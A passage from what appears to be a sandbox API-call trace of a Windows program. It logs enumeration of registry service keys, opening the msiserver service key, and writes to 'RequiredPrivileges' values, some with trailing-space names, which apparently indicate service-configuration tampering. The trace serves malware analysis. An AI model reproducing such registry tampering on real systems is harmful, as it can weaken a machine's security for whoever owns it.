[0253.689] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0253.689] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0253.689] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0253.689] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0253.689] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0253.689] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0253.689] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0253.689] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0253.689] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0253.689] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0253.690] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0253.690] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0253.690] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0253.690] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0253.690] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0253.690] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0253.690] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0253.690] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0253.690] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0253.690] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0253.690] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0253.690] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0253.690] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0253.691] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0253.691] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0253.691] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0253.691] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0253.691] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0253.691] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0253.691] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0253.691] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0253.691] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0253.691] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0253.691] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0253.691] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0253.691] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0253.692] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0253.692] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0253.692] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0253.692] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0253.692] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0253.692] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0253.692] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0253.692] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0253.692] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0253.692] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0253.692] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0253.692] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0253.692] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0253.693] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0253.693] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0253.693] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0253.693] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0253.693] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0253.693] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0253.693] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0253.693] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0253.693] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0253.693] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0253.693] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0253.693] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0253.693] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0253.694] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0253.694] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0253.694] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0253.694] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0253.694] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0253.694] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0253.694] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0253.694] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0253.694] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0253.694] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0253.694] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0253.694] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0253.694] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0253.695] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0253.695] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0253.695] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0253.695] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0253.695] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0253.695] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0253.695] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0253.695] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0253.695] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0253.695] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0253.695] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0253.695] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0253.695] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0253.696] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0253.696] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0253.696] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0253.696] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0253.696] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0253.696] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0253.696] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0253.696] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0253.696] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0253.696] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0253.696] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0253.696] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0253.697] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0253.697] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0253.697] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0253.697] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0253.697] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0253.697] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0253.697] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0253.697] RegCloseKey (hKey=0xc4) returned 0x0 [0253.697] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.697] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.697] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.697] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.697] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.697] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.698] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0253.698] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0253.698] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.698] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0253.698] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0253.698] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0253.698] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0253.698] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0253.698] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0253.698] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.698] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0253.698] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0253.698] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.699] RegCloseKey (hKey=0x148) returned 0x0 [0253.699] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0253.699] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0253.699] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0253.699] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.699] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0253.699] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0253.699] RegCloseKey (hKey=0xc4) returned 0x0 [0253.699] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0253.699] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0253.699] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0253.699] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0253.699] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0253.700] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0253.700] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.700] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0253.700] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0253.700] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.701] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.701] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.701] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.701] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.701] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.701] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.701] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.701] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.701] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.701] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.701] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.701] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.702] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.702] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.702] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.702] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0253.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0253.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0253.702] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0253.702] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0253.702] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0253.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0253.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0253.702] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0253.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0253.702] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0253.702] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0253.702] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0253.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0253.703] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: 